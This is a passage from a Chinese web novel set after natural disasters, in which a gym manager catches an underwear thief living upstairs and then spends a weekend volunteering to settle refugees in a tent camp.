秦小薇安装的是高清摄像头，视频里，中年男人的脸被拍得清清楚楚，但男人的长相实在是普通，丢在人群中都认不出的那种。 众人都对监控里那张脸没什么印象，也不确定他是不是楼里的住户——现在公寓楼住的人实在是太多了，一层就有几百人，想要记住每一个人的脸实在是太困难了。 秦小薇拿出手机，直接对着电脑屏幕拍了几张照片，发到业主群里。 【6018秦小薇：这个人在 楼里偷女孩子的内衣，有人认识他吗？】 可能是因为健身房的口碑在公寓楼还不错，大家对她的印象还可以，也可能是因为大家都对内衣贼深恶痛绝，群里很快就炸出了一群潜水的业主。 很快，就有业主给出了那人的详细信息，他就住在员工宿舍正上方，之前就是跃能的安装师傅，他之前住的安全屋没固定好，直接被台风刮掉了半面墙，这才被社区的工作人员，安排来公寓楼。 知道了人住哪，这就好办了，屋里几人不是教拳击的就是教散打的，信服“不服就干”的处事原则，遇到了这种事，根本就没有普通女孩那种不好意思、想要息事宁人的想法。 她们只想把人抓出来，狠狠揍一顿，然后再把那个变态送去工地劳改！ 几人拿着笔记本，换了双方便活动的运动鞋，气势汹汹地上了楼。 “谁呀？”开门的是个中年妇女，看到门外怒气冲冲的一群人，她明显愣了一下，“你们……有什么事吗？” “这个人住这里吗？”秦小薇直接给女人看手机里的照片。 看到手机里的照片，中年女人有些不安地开口道：“这是我老公，你们找他有事吗？” 秦小薇的语气十分严肃：“我们是楼下健身房的，他白天吊着安全绳下去偷我们员工的内衣，被监控拍到了！” 中年女人的表情变了变，她没管门口的人，直接冲回屋里：“方大勇，你给我出来，你白天不是说楼下的找你修太阳能发电板吗？怎么现在人家找上门了，说你偷小姑娘的内衣？你这个老不羞，都一把年纪了，还惦记人家鲜嫩的小姑娘，你也不觉得自己恶心？” 紧接着，屋里就传来巴掌声和男人的求饶声。 “我没有，我真是下去修太阳能发电板的，没干别的……你别什么人的话都信！嗷！老婆，我错了……我再也不敢了！” 众人对视一会，直接推门走了进去。 屋里住了十几个人，东西多到根本没有她们的下脚地，她们走了没两步就被堵在玄关了，但视频里的方大勇却被他老婆打得上蹿下跳，身姿十分灵活。 她们原本的计划是上楼找人对峙，把人揍一顿，再送去劳改，但方大勇被他老婆用衣架打得抱头鼠窜，一时之间，竟然找不到下手的机会。 屋里住着的其他人看到这样的画面，也默默收拾了自己的东西，缩到角落里围观。 秦小薇一行人，等了好一会，这场单方面的“殴打”才结束。 中年女人搓了搓手，有些讨好地冲着她们笑道：“姑娘，真是对不住，让你们碰到了这样的事，我给你们道歉……我已经教训过他了！这事说出去也不好听，对你们名声不好，这样，你们算算那些东西值多少钱，我赔钱给你们吧！” 秦小薇打量了夫妻俩一会，忽然笑了：“大姐，我们找上门，可不是为了那点赔偿……我就直说了吧！这事没法私了！” 这位大姐，在她们找上门的时候，连监控视频都没看，就冲进去对着她老公一顿揍，显然是对她老公极度不信任，她老公很可能有“前科”，揍完之后，又能迅速给出解决方案…… 秦小薇觉得，她并不像她表现出来的那么冲动，之前的一切，也只是演给她们看看罢了！ 说不定，这样的事，之前已经发生过很多次了……毕竟，偷小姑娘内衣这种癖好，也不是一天两天就能养成的。 中年女人收起脸上的笑，一副长辈墩墩教导小辈的模样，她冲着玄关处的众人开口道：“那些衣服也不值钱，你们有些人还没结婚吧？这事说出去也影响你们找对象，闹大了对你们没好处！我这是为你们好……” 有个教练是个暴脾气，闻言忍不住呛了一句：“以后我男朋友要是因为我被人偷过内衣就和我分手，那这男人我要着也没什么用！分了更好！” 中年女人：“……” 秦小薇晃了晃手机：“我已经通知巡逻队了，等他们来了，看看他们怎么说吧！” 她此时才体会到，室友加入巡逻队的好处，遇到这样的事，她甚至都不用打电话报警，直接在群里说一声，她们就能通知附近的同事过来帮忙。 听到秦小薇说通知了巡逻队，一直躲在屋里当鹌鹑不出声的男人，此时也有些着急了：“不就是几件衣服吗？我还给你们就是了！都起球了，当谁稀罕呢！” 放在以前，偷女生内衣这种事，被抓到以后，情节不严重的话，很可能只是罚点钱，或是被口头教育一顿，但现在不一样，官方修改了法律条款，现在国内偷窃、抢劫这种事全都是重判，被抓到以后，不死也得脱层皮。 秦小薇冷笑：“不稀罕你还吊着安全绳、伪装成安装工人下去偷，你这人还真是贱啊！” 男人的脸涨得通红，他恶狠狠地盯着秦小薇：“你嘴巴放干净点！” 秦小薇丝毫不怵他：“我这人说话就这样，你要是不乐意听，自己把耳朵堵起来！” 方大勇：“……” 夫妻俩还想再说点什么，门外却忽然传来一阵嘈杂声。 秦小薇回头看了一眼，就见一群西装革履的男人大步走了过来，其中有不少人她都很眼熟——他们都是奚川家的保镖。 其中一人冲着她们开口道：“奚先生让我们上来的，您这需要帮忙吗？” 秦小薇知道，应该是陆昼和奚川打过招呼，他才会派保镖过来管她的闲事。 她摆了摆手：“不用，我们人手够用，你们回去吧！这里太挤了，站不开……” 就在他们说话的时候，方大勇从行李袋里翻出一个鼓鼓囊囊的黑色塑料袋，悄摸摸地朝着窗户边上挪去…… “他是不是要毁尸灭迹？快拦住他！”一个教练喊了一声，然后迅速冲进屋里。 其他人也紧随其后，一窝蜂冲了进去，趁机对着方大勇又捶又踹…… “你们干什么！你们这是滥用私刑，我要告你们！”方大勇被揍得嗷嗷叫，他手里的黑色塑料袋也被教练抢了过来。 教练打开看了看，里面装的正是她们丢的内衣，除了她们的，里面还有一些其他人的内衣。 众人猜测，他应该是个惯犯…… 之后，一群人就盯着夫妻俩，等巡逻队的人过来，中途，夫妻俩也试图辩解、反抗，但秦小薇她们人太多了，又各个都是练家子，夫妻俩的反抗，简直就是蚍蜉撼树。 负责这片区域治安的巡逻队来得很快，可能是因为范槿她们帮忙打过招呼，他们看完秦小薇她们提供的监控，就直接把人抓走了。 走之前，他们还给那袋内衣找了“失主”，可能是不好意思，也可能是这些内衣是方大勇在其他地方偷的，楼里并没有其他人认领…… 方大勇被抓走之后，女人一改之前的态度，对着她们破口大骂：“你****的贱货，我****，把内衣晒在外面，不就是为了勾引男人去偷吗？我****” 她用词非常恶毒，秦小薇听着都觉得脏了自己的耳朵。 秦小薇还没反击，那群还没离开的保镖就先动手了，他们掏出折叠警棍对着她，警棍上有蓝色的电弧闪过，一副随时准备攻击的模样，见此，中年女人瞬间安静如鸡。 毕竟，奚川家前段时间闹出的乱子，大家还印象深刻，这些保镖，手上要是有枪，他们是真敢开！ 看到女人的反应，秦小薇觉得有点没意思，和保镖们道完谢之后，就带着人下楼了。 连带着找回来的内衣，她们也一起带下去了，还不知道那个变态对着这些内衣做了什么，这些内衣，众人都不打算要了，她们打算带下去扔掉。 下楼的时候，一个教练还在感叹：“她老公偷其他女人的内衣，她怎么还站在她老公那边？” 秦小薇想到中年女人一系列的态度转变，吐槽道：“可能她脑子有问题吧！” 刚到家，她就接到了段霞的电话：“薇薇，事情解决了吗？你没事吧？” 秦小薇的声音里全是遗憾：“多亏了你们帮忙，都解决了……说实话，我想动手来着！但是己方战斗力太强，根本就没给我这个机会，等我反应过来的时候，人已经被其他教练揍趴下了！” 段霞：“……” 第二天，健身房照常开门营业，秦小薇和员工们都没有被昨天的“小插曲”影响工作和心情。 中午的时候，健身房来了一个陌生的男人，说要找健身房的老板。 秦小薇有些莫名，却还是去见了那个男人，男人张口就是：“老板，你们的店接受加盟吗？” 第89章 第89章难民（双更合一）…… 听到对方的来意后,秦小薇的第一反应就是拒绝：“抱歉，我们健身房暂时不接受加盟。” 男人试图说服秦小薇：“哎，你别急着拒绝,都是做生意,大家互惠互利,我选地址的时候，肯定不选这片区,不会影响你们店的生意的,还可以帮你们店扩大知名度……” 紧接着，他说出了自己的计划。 他提出给秦小薇一笔丰厚的加盟费,借用健身房的名字，直接打响招牌，为店里引流；而秦小薇要做的,就是在拍宣传视频的时候,提一下“分店”的地址，外加给分店拍几个宣传视频…… 秦小薇：好家伙，这不就是花钱蹭健身房的热度吗？ 要是他没经营好,把口碑搞坏了，她的健身房也要背锅…… 真要是想扩张开分店,她也得等宁市的“地下城”建好,情况彻底稳定下来了，再去那边找店铺开分店，现在宁市这种情况,扩大规模的成本太高了…… 秦小薇依旧是拒绝，见她态度坚决，男人最后只能离开。 但可能是从其他地方打听到秦小薇只是“店长”，是个打工仔,没过两天，他又来了，这回，他没提加盟的事，只一个劲地缠着她要“老板”的联系方式。 秦小薇自然是没给，随便敷衍了几句，就把人打发走了。 其他省迁移过来的难民很快就到了，公寓楼附近已经够拥挤了，市政便没把人安排过来，官方在郊区划了一块地，统一把人安排到那边住帐篷。 这天晚上，秦小薇从空间里跑完步出来的时候，发现宿舍群里正在聊那些难民的事。 【范槿：社区在招募义工，说是江安区那边外来人口太多了，人手不够……】 【范槿：我报名了，明后两天去江安区当志愿者。】 【肖琳琳：明天不是要去基地培训吗？】 【范槿：上午培训，我下午过去当义工，你们去不去？】 【段霞：我被抓壮丁了，明天要加班。】 【段霞：沧桑.jpg】 【范槿：我忘了……阿霞你现在是队长了，工作安排和我们不一样。】 和其他两人不一样，段霞在大学的时候，就非常有上进心，每学期都拿奖学金，训练的时候也非常拼命，大学四年，她参加了无数举重比赛，拿到的奖牌可以论斤称。 现在，她也把这种拼劲带进了工作中。 当然，她的努力也是有回报的。 上面担心巡逻队的成员没有经验，之前都是让武警当队长，带着他们一起行动，段霞因为工作认真负责，这才干了一个多月，就被提拔成小队长了。 按照陆昼之前的说法，只要她继续保持下去，以后要是扩编的话，绝对会有她一个名额。 【范槿：琳琳，你去不去？咱们一起，还能有个伴。】 【肖琳琳：我想去二手市场淘几双作训鞋，队里发的那两双鞋都被我穿开胶了，稍微踩点水，鞋子和袜子就都湿了……】 【范槿：买鞋要不了多长时间，等培训完了，我陪你去买鞋，咱们再一起去江安区，怎么样？】 【肖琳琳：那行吧！我陪你一起去。】 【范槿：薇薇，你周末有时间吗？要不要一起？】 【范槿：从培训基地过去有点远，你要是能来，我和琳琳就不用踩自行车了嘿嘿嘿。】 秦小薇想了想，她确实很久没出门了，趁着这个机会，出去放个风……似乎也可以？ 【秦小薇：行啊！怎么报名？】 【范槿：我现在就在招募点，我帮你填表！】 【肖琳琳：帮我也填一下，我不想出门了……】 过了一会，范槿在群里发了张照片。 【范槿：我和招募点的人说了，咱们三个是一起的，她把我们分到了一起，我们明天去这个地方集合就行了。】 【范槿：[照片]】 【秦小薇：OK】 【肖琳琳：1】 因为要接范槿和肖琳琳，第二天中午，秦小薇提前开车到了武警训练基地外面，她在车上等了二十多分钟，范槿两人才从大门口出来。 范槿上车后就使劲吸了下鼻子：“薇薇，你在车上吃了什么？这么香？” 秦小薇指了下后车座上的便当盒，笑道：“你昨天不是在群里说今天可能会忙到很晚吗？我就烤了个吐司，做了几个三明治当中饭和晚饭……我给你们也做了，粉色和蓝色盒子是你们的。对了，你们吃过中饭了吗？” 肖琳琳摇头：“我们一下课就出来了，哪有时间吃东西？” 说着，两人就把便当盒给分了。 每个盒子里装着四个三明治，刚好是她们两顿的量，中间夹的馅料是鸡蛋、猪排、番茄、黄瓜片和生菜，最上面还挤了秦小薇闲着没事自制的番茄酱和沙拉酱，鲜亮的颜色，让三明治看起来非常有食欲。 范槿一口就咬掉了四分之一个三明治：“这也太好吃了！薇薇，这里面是什么肉？” 秦小薇：“猪排，我用小锤子锤了很久，裹了淀粉煎的……肉质是不是很嫩？” 范槿疯狂点头：“超好吃！薇薇，你这手艺，要是出去摆摊，绝对会卖爆的！” 秦小薇启动了车子：“自己弄点吃还行，摆摊就算了吧……我可弄不到那么多原材料摆摊！” 肖琳琳：“薇薇，这些东西都是健身房的员工福利吗？” 秦小薇：“鸡蛋和蔬菜是……其他的我单独找老板帮忙弄的，移动物资点的东西太难抢了！” 肖琳琳：“确实……前天我们队里有个人值夜班的时候没事干，摸鱼排了大半夜的队，都只抢到了一把韭菜和半盒鸡蛋。” 二十分钟后，三人到了宁市体育馆附近，体育馆外的广场上，搭着好几排露天雨棚，这是市政为了方便市民们交易，台风天过后，专门设立的二手交易市场。 虽然宁市这一个多月的情况还算不错，但地震和台风的破坏力太大了，省内的产业链一时半会还没恢复，再加上今年天灾不断，现在很多东西都只能用二手的。 某些人就算有洁癖，不愿意用二手的东西，迫于现状，也只能接受。 这里的小摊贩很多，在市场管理处登记以后，交个十几二十块的摊位费，随便铺个垫子，放上自己的货物，就能摆摊了。 除了二手物品，这里也有全新的货物，不过价格不像二手物品那么“亲民”，要贵很多。 很多二手物品，商家摆出来卖之前，是不会消毒的，最多就是拿抹布或是什么其他的东西稍微清洁一下。 肖琳琳担心买到不干净的鞋子，会得脚气之类乱七八糟的毛病，并没有看二手鞋，直接在市场上找起了卖新鞋的摊子。 秦小薇和她并排走着，好奇地打量着周围的摊子。 这里卖的东西比小吃街全一些，可能是因为有人管理，定价也不像小吃街那么离谱，一样的东西、不同的摊子，能卖出几十倍的差价。 这边闭市之后，每天都有人打扫，虽然现在环境十分嘈杂，但是地上并没有多少垃圾，整体环境还算可以。 “琳琳，那边有个卖鞋的摊子，咱们过去看看吧！” “好。” 她们在市场上逛了一个多小时，才提着两个鞋盒和半管补鞋胶离开——肖琳琳打算把开胶的作训鞋粘一粘继续穿。 肖琳琳叹了口气：“……作训鞋好难买啊！” 现在，一些户外运动类的产品十分受欢迎，她们逛了好几个摊子，也只淘到了一双靴子和一双防水的运动鞋，靴子还是大一码的！ 秦小薇：“你们巡逻队不能另外申请鞋子吗？” 肖琳琳摇头：“我问过了，一年四套衣服四双鞋，都是固定的，穿坏了，只能等到下半年发新的……我自己花钱买都不行！” 秦小薇：“……” 买完了鞋子，三人又开车去了江安区，地震过后，宁市的道路都简单修整过，但这边因为靠近工业区，原本就没什么人，市政安排人修路的时候也没怎么走心。 路虽然能开，但到处都是坑，像是搓板路，车子开在上面，十分颠簸。 越是靠近江安区，路上就越是热闹，到处都是装满了人的大巴车、货车…… 秦小薇三人到达集合点 后，很快就被分配了工作。 三人的工作是把难民们引去固定的区域，给他们登记，让他们在划定的地方搭帐篷、安家…… 三人熟悉了一下地图，才戴上刚刚到手的工作证，朝着车辆聚集的地方走去。 见一辆大巴车停稳之后，秦小薇主动走过去，敲了下车门：“你们是分到哪个区的？” 为了方便对接，车上的人在到宁市之前，就已经从工作人员那知道了自己之后大概会住在什么地方。 “C13区，我们都是去C13区的！”车门打开后，里面的人立刻冲着秦小薇喊道。 秦小薇探头朝里面看了一眼，只是一眼，她就开始庆幸自己不用经历“大迁移”。 在她的印象中，坐这种长途大巴车，基本上都是一人一个座位，要是晕车，还能戴上眼罩、U型枕一路睡过去。 但这辆大巴车上，不仅座位上坐满了人，座位中间的过道上也站满了人，乘客要是想自己带个小马扎一路坐过来，车上估计都没空间让他们伸腿。 座位上方的行李架上，也塞得满满当当的，行李甚至都从架子上凸出来了，要不是有绳子绑着，司机一个急转弯，行李架上的东西就能掉下来砸到人…… 秦小薇怀疑，要不是人不能像货物一样架起来摆放，司机肯定会把他们捆得方方正正，再往里面多塞一些人…… 整辆大巴车，就跟个鲱鱼罐头似的，秦小薇站在车门口，都能闻到一股酸臭味——有人晕车，直接吐在车上了。 秦小薇一直觉得，她之前从云城回来的路上，就已经够遭罪了，但看车上人的状态，他们这趟车坐得，比她当时还要辛苦。 车上每个人的状态都很差，他们脸上都写满了仓皇和疲惫…… “请大家拿好行李，排队下车，跟着我们走……”范槿和肖琳琳冲着车里的人大声喊道。 车里的人已经动起来了，所有人都在找自己的行李，除了车上的行李架，车顶、车子下方的行李舱里也都堆满了行李。 “哎，车顶上的行李谁爬上去帮忙拿一下？” “我的包呢？我记得之前放这儿的，怎么不见了？这个包是我的，你拿错了！” “小姑娘，哪里有厕所？我能不能先去上个厕所，憋一路了……” “……” 光是拿行李排队这一步，他们就耽搁了好一会，有小朋友哭闹着要吃的，大人要上厕所，有人行李找不到了，还有人和秦小薇她们套近乎，打听宁市的情况…… 最棘手的是，有个孕妇，不知道是不是因为在车上站了十几个小时太累了，一下车，就直接晕过去了…… 西瓜似的肚子直接就砸在地上，把所有人都吓得不轻。 因为秦小薇几人带着工作证，理所当然地，他们碰到了问题就去找她们求助。 几人对附近不太熟悉，围过来的人又太多了，耳边像是有几千只鸭子在叫，一时间，竟然还有些手忙脚乱。 好在市政之前就预料到了，这边可能有突发情况，在附近设置了临时医疗点，好一番忙乱之后，几人打电话叫来担架，把孕妇抬走了。 几人让他们排好队，才带着他们朝着目标地点出发。 等到了地方，几人还得组织他们排队去市政的工作人员那登记信息、领物资、搭帐篷…… 秦小薇发现，宁市对于这些外来人口，还是比较“友好”的，给他们准备了不少物资，除了帐篷之外，市政还给他们发了基础的生活用品和衣服被褥防寒。 虽然大部分衣服被褥都是二手的，基本上是从地震过后的废墟下面清理出来的，有些还破了洞，但所有的东西都经过专门的消杀处理，包裹外面还贴着标签。 这些东西，拿来御寒是没什么问题的，用了之后，也不用担心会得一些麻烦的传染病。 但挑包裹的时候，也出了些“小插曲”，大家都想挑好的拿，不想要破破烂烂的衣服被子，难免发生一些争执…… 连着接了几趟车，秦小薇就觉得有点心力交瘁了——各种琐碎的事实在是太多了。 因为志愿者都戴着工作牌，这些难民碰到了问题，第一反应就是拦路找他们求助。 三人是第一次来这边，也是第一次“接引”难民，业务不熟练，时常卡壳…… 除了组织难民们排队领物资，志愿者还要帮年纪大的人拿行李，车顶上的行李拿不下来，他们也得上，难民们发生了矛盾，偷窃、吵架，志愿者还得去主持公道…… 同时兼顾体力劳动和脑力劳动……秦小薇觉得这半天活干的，比她之前在银行工作的时候还要累！ 经过这一遭，她真的很佩服市政的组织能力，宁市数百万人，上次地震之前，几天就组织人从建筑里搬出来，没让地震造成任何伤亡，真的很厉害了！ 五点多的时候，秦小薇想偷会懒，她和两个室友打了声招呼，就摘了脖子上的工作牌，找地方休息。 这片区域是临时用推土机和各种大型器械清理出来的，还都是泥地，坐下去屁股上会沾一裤子泥，秦小薇转了好一会，都没找到可以休息的地方。 正在她犹豫要不要回车上坐一会的时候，身后忽然传来一个有些耳熟的男声：“秦小薇？” 她循声回头，是陆昼，他穿着一套白色的冲锋衣，脖子上挂着她的同款工作牌。 陆昼：“你怎么在这？” 秦小薇：“过来当志愿者，你呢？” “和你一样，响应号召，过来当志愿者。”陆昼的视线在她胸口扫了一圈，“你这个志愿者好像不太合格？连工作牌都没戴……” 秦小薇：“他们说晚上要到十一点才能结束，我有点累，想中场休息一下。” 陆昼四处看了看，脸上闪过一次诧异：“在这？” 秦小薇：“不是，还在找地方呢，我还没找到！” 陆昼也摘下了脖子上的工作牌，塞进口袋里：“跟我来，带你去偷会懒！” 秦小薇犹豫了一下，还是跟了上去。 陆昼带着她进了一个大帐篷，帐篷里，放着几台电脑和办公桌，几个穿着军装的男人正在电脑前办公。 秦小薇扫了眼他们的屏幕，似乎是他们内部的系统，不知道是干什么的…… 两人进来后，屋里的人也没什么反应，依旧紧盯着电脑屏幕。 陆昼拿了个大排档常用的大红色塑料凳子递给秦小薇：“坐吧！” “谢谢！” 陆昼自己也找了个凳子，在角落里坐下，他拿出手机晃了晃，朝着秦小薇发出邀请：“来一局？” 秦小薇想到上次两人一起打游戏的经历，点头答应了：“行啊！” 帐篷里一直有人进出，秦小薇听着他们的聊天声，才知道，几人坐在电脑前是在统计已经转移过来的总人口，筛查人群中的不法分子。 就这么一会，已经有十几个人的资料被打印出来了，据他们说，这些人在今天晚上十二点之前，就会被抓去工地上劳改。 秦小薇没在帐篷里待太久，她坐了十几分钟，觉得脚没那么酸了，就出去继续干活了。 她出去忙了一个多小时，快八点的时候，她和范槿三人回车上胡乱把中午剩下的三明治塞进肚子里，又回去继续干活了。 她们一直忙到晚上十一点半才结束……结束的时候，三人都是一副身体被掏空的模样。 范槿生无可恋地瘫在后车座：“我怎么觉得在这干半天，比之前地震的时候建安全屋还累？” 肖琳琳纠正她：“咱们可不是干半天，从下午一点半到现在，咱们干了十个小时，比平时上班的时间还长！” 秦小薇：“唉，回去好好休息吧！明天还有一天……过了明天，咱们就可以从饭饭的贼船上下来了！” 因为三人周末都有空，范槿之前在招募点报名的时候，直接 给她们报了两天的名。 当然，她们跑这一趟，也不完全是义务劳动。 之前在帐篷里的时候，听陆昼他们说，之后会推出一个公民信用分系统，这次志愿者的经历可以加分，之后租房子的时候，信用分高的，可以优先选……当然，秦小薇已经有房子了，这分对她没什么用。 范槿有些心虚：“报名点的工作人员说组织大家排队就行了，我也没想到会这么累……” 肖琳琳：“算了，你也不是第一次把我们带沟里了！” 范槿伸手挠她的痒痒肉：“我哪有？我平时明明挺靠谱的！” 肖琳琳扭着身体躲避她的“攻击”：“胡说，咱们寝室数你最不靠谱！” 从后视镜里看到正在打闹的两个室友，秦小薇忍不住提醒她们：“系好安全带，我们要出发了……” 秦小薇先把两人送回家，才独自一人开车回公寓楼。 就算知道范槿不会遇到什么危险，范爸爸和范妈妈依旧很担心她，两人打着手电筒，站在寒风中焦急地等她回家。 看到范槿下车了，范爸爸直接往她身上披了一件长及脚踝的宽大羽绒服：“早上不是给你拿了衣服吗？你怎么穿着套运动服就出去了？这外套这么薄……没冻感冒吧！” 范槿站在两人中间：“没有，爸，我今天帮忙搬了好多行李，下午一直在出汗，一点都不冷……妈，你手怎么这么凉？咱们快回去吧！” 说着，她朝着秦小薇和肖琳琳挥了挥手：“薇薇，你路上开车小心一点，到家了在群里说一声，我先回去了！明天见！” “明天见！”秦小薇重新启动了车子。 看着范槿被她爸妈簇拥着朝安全屋走的背影，肖琳琳的情绪忽然有些低落：“薇薇，我有点想家了！” 秦小薇愣了一下，随即开口道：“那你明天给他们打个视频电话？” 第90章 第90章骟猪（双更合一） 其实,看到范槿被她爸妈关心，他们一家三口过得这么幸福，秦小薇其实也有点想念上辈子的家人…… 肖琳琳：“回去就给我哥打个电话,他是个夜猫子,肯定还没睡！” 两人一路无话,把肖琳琳送到地方之后，秦小薇就回家了。 今天当志愿者实在是太累了,秦小薇甚至都没时间看群里的消息,问财务店里下午的经营情况。 到家后，她进空间里简单冲了个澡,出来就躺床上睡觉了，甚至都没和鹦鹉小黄互动…… 第二天早上，秦小薇睡醒之后,又在床上赖了大半个小时,才起床去健身房开门。 她身体一向不错，一觉睡醒，就满血复活了,昨晚那种身心俱疲的感觉也都消失了。 虽然昨天周末秦小薇没有盯着，但员工们都对手头上的工作很熟悉,并没有出什么岔子。 刚开门的时候,店里没什么客人，众人没事干，便和她打听江安区那边的情况。 秦小薇也没有隐瞒,就当是聊八卦，员工们问什么，她就说什么。 “大部分都是A省和M省的难民，那边之前不是有飓风吗？听说破坏力比台风还大,风城大半座城都被从地图上抹掉了，附近的城市担心遭遇同样的事，这才组织民众撤离……他们前些天就撤到隔壁省了，但那边不愿意接收，连帐篷都没给准备，他们在那边滞留了好几天，上面才组织他们转移来宁市……” “我昨天在江安区待了十来个小时，听那些难民的描述，我觉得咱们宁市的官方做得真的挺好的！” “听说之前台风的时候，他们那有人贪污，造出来的安全屋和纸糊似的，稍微刮点风，安全屋就被拍得‘哐当哐当’响……后面风力没到十级，就有安全屋被风刮塌了……” “还有之前，有的地方发的能量饼干虽然包装和咱们的一样，但是每包净重都少了20g，他们刚开始还以为能量饼干都是这样的，后面有人被抓了，看到通报才知道是官方的人联合生产厂家贪污……” 聊了一会，健身房一位教练忽然冲着她开口道：“店长，那个偷内衣的变态的处罚结果下来了，被判了劳改三年……据说他是个惯犯，之前没搬过来的时候就有案底。” 秦小薇：“……看出来了，要不然我们之前敲门的时候，他老婆揍人的动作也不会那么熟练。” 教练：“好像是，她当时都没和我们确认一下……正常人碰到这样的事，肯定是先质疑，她连视频都没看就回屋揍人了，肯定是早就知道她老公是个什么德性！” 十一点的时候，秦小薇开车去武警基地接范槿两人。 一上车，两人就开始拆后座的便当盒。 范槿：“薇薇，你今天给我们准备了什么？” 秦小薇：“和昨天差不多……” 两人打开盒子，看到便当盒里的东西，肖琳琳一时不知道该吐槽什么：“薇薇，这就是你说的差不多？” 秦小薇专心开车，没看她们：“昨天是西式三明治，今天是中式汉堡，原材料都一样，可不就是差不多吗？” 她昨天回来的时候都快累瘫了，压根就没心思烤吐司，所以早上准备便当的时候，就用空间里的馒头替代了一下…… 肖琳琳：“……” 虽然今天的中式汉堡并没有昨天的三明治好看，但味道却是不差的，因为加了很多料，口感依旧非常丰富，还没到江安区，她们就在车上把中饭吃完了。 今天志愿者的工作依旧十分繁忙，但有了昨天的经验，她们没那么手忙脚乱了——至少有人受伤的时候，她们知道该打什么电话叫医生护士，而不是在群里找人求助。 运输车上的环境实在是太差了，秦小薇第一次知道，晕车呕吐可以让人吐到脱水昏迷；还有人因为车上的行李太多，直接被行李压骨折了……这让医疗点的工作人员比他们这些志愿者还忙。 中途那边人手不够用，秦小薇她们还过去帮了会忙。 三点多的时候，一辆接一辆不停出现的运输车终于短暂地出现了断流，过来帮忙的志愿者们也能歇一会了。 但她站了没一会，远处的风景就变得朦胧起来了。 “起雾了！起雾了！大家快戴口罩！”市政的工作人员拿着大喇叭冲着周围的人喊道。 因为之前的预警短信，宁市大部分普通人都有随身携带口罩的习惯，闻言立刻掏出口罩戴上，有些比较粗心的志愿者，出门的时候忘记带口罩了，见此，立刻去找工作人员借口罩。 他们给难民们发的生活物资里就有口罩，因此营地的口罩库存还算充足。 再加上志愿者今天是过来免费义务劳动的，工作人员也就没有吝啬那么几个口罩，拿物资限量的理由说事。 已经安置好的难民，听到工作人员的提醒，也纷纷从物资包里掏出口罩戴上。 但和戴上口罩就像没事人似的、继续干活的宁市人相比，他们大多数人的眼神中都透露着惊 恐。 “网上的专家说，Q省时不时起雾是因为之前地震的时候地壳运动带来的磁场变化，这磁场不会对人的身体有害吧？” “那些专家说无害……但谁知道是真是假？” “这边医院给拍CT吗？我听说雾吸多了肺里会长结节……” “……” 见难民们的恐慌情绪十分严重，才刚刚休息了不到五分钟的秦小薇不得不拿起大喇叭，和其他的工作人员一起安抚他们的情绪…… 但他们安抚了没多久，豆大的雨点就从空中砸了下来。 “下雨了，快去棚子下面躲雨！” “这边棚子挤满了，站不下人了，还有其他的地方能躲雨吗？” “去帐篷里躲躲吧！” “我行李里有伞，你们拿去用吧！” “……” 因为长得比较高，秦小薇的衣服大多是男装，口袋非常大，很能装，平时出门要是没有特殊需求的话，她根本不用背包，身上的口袋就能装下她外出需要的所有杂物。 今天出门的时候，她没有背包，现在要是从裤子口袋里掏出一把雨伞来，也太奇怪了！ 她此时也顾不得安抚难民了，提着喇叭，就和两个室友一起，朝着自己的车子跑去。 好在雾气虽然降低了空气中的能见度，但几场人工降雨和人工降雪之后，雾气中有害物质的浓度有所下降，她们现在勉强还能通过附近的环境分辨方向，几分钟后，她们顺利找到了秦小薇的SUV。 上了车之后，秦小薇把纸巾递给两个室友，让她们擦身上和头发上沾到的水珠。 肖琳琳：“这雨来得也太急了！肯定又是气象局在人工降雨……” 范槿：“多发射几枚增雨弹也好，争取把这雾彻底给打散了……” 雨停之后，她们刚下车，就有个年轻男人过来搭讪。 他长得有些黑，剃着寸头，身上一股痞帅的劲，目测身高超过一米八，算是一位黑皮帅哥了。 “你好，可以加个微信吗？”寸头男生有些局促地看着肖琳琳。 肖琳琳很少经历这样的事，她下意识看向两个室友，试图向她们寻求帮助，但秦小薇和范槿却露出了吃瓜看戏的表情，半点没有开口帮忙的意思。 要是手上有瓜子，肖琳琳觉得，她俩现在估计已经磕上瓜子了…… 寸头男生：“之前我妈下车的时候，你还帮我们拿了行李，不知道你有没有印象？我听说你是体育生，我平时也挺喜欢运动的……” 和“身经百战”的秦小薇不同，肖琳琳没能抵挡住男生的纠缠，最后和他交换了联系方式。 寸头男生离开后，范槿抱着手臂，用身体撞了下她，调侃道：“琳琳，运气不错啊！出来当志愿者，都能碰到桃花……” 肖琳琳伸手捶两人：“刚刚我给你们使眼色的时候，你们怎么不说话？还一直在边上看戏……” 秦小薇飞快后退几步，躲开了她的手：“人家又没恶意，我们掺和干什么？你要是真的不愿意，随便找个理由拒绝不就行了？比如说你没带手机、没有微信号……” 肖琳琳皱眉：“这些理由……会不会太敷衍了？” 秦小薇：“找什么理由不重要，重要的是，传达出拒绝的态度……加了微信也没关系，你要是真讨厌他，他找你聊天的时候，你不理他、拉黑他不就行了？难道他还能顺着网线找到你家里去？” 范槿拍了拍肖琳琳的肩膀，故作老成地开口道：“琳琳，你还是年轻！好好听讲，跟着我们秦老师多学学……” “不许幸灾乐祸！”范槿的脸直接被肖琳琳掐住了。 范槿：“哎呀，你放开我……我错了！我错了！” 等她们回到营地之后，发现营地里的气氛有些压抑，很多难民的情绪都很消极。 这片原本是工业区，地震之前，这里是铺了水泥地的，但大地震把水泥地破坏得很厉害，官方组织人修整的时候，只稍微把地面填平了一些，后面得知这些人要过来，也只是上推土机和压路机把地面弄平，难民们扎帐篷的地方，很多都是半水泥地半泥地。 这片的排水管道压根没人修，下雨之后，雨水很容易蓄积在地面上，泥地被水一泡，就变得稀烂……再加上帐篷毕竟不是房子，他们用的还是二手帐篷，有些已经不防水了。 外面下大雨，帐篷里就淅淅沥沥地下小雨。 这场雨才持续了不到半个小时，一部分难民的帐篷里就可以养鱼了，他们才安置好的行李也都被弄湿了…… 现在天冷，淋雨之后很容易感冒发烧。 这个时候，国内的其他城市也过得很艰难，愿意接收他们的地方并不多，他们也不能说不住帐篷了，要离开宁市。 不久前才经历了十几个小时的颠簸，现在又要面对如此恶劣的生存环境，也不怪他们情绪这么消极！ 市政的工作人员也没有开口安慰他们，只默默组织志愿者，帮他们换掉漏雨的帐篷…… 秦小薇她们今天结束得比昨天早一些，但是也没早多少，几人依旧忙到了快十点才动身回去。 第二天早上秦小薇起床的时候，发现宿舍群里的消息变成了99+。 她还以为出什么事了，都没进空间收农场的产出，直接盘腿坐在床上，开始翻聊天记录。 【肖琳琳：白天加的那个男生，他联系我了。】 【肖琳琳：我以为他想撩我，万万没想到……】 【肖琳琳：[图片]】 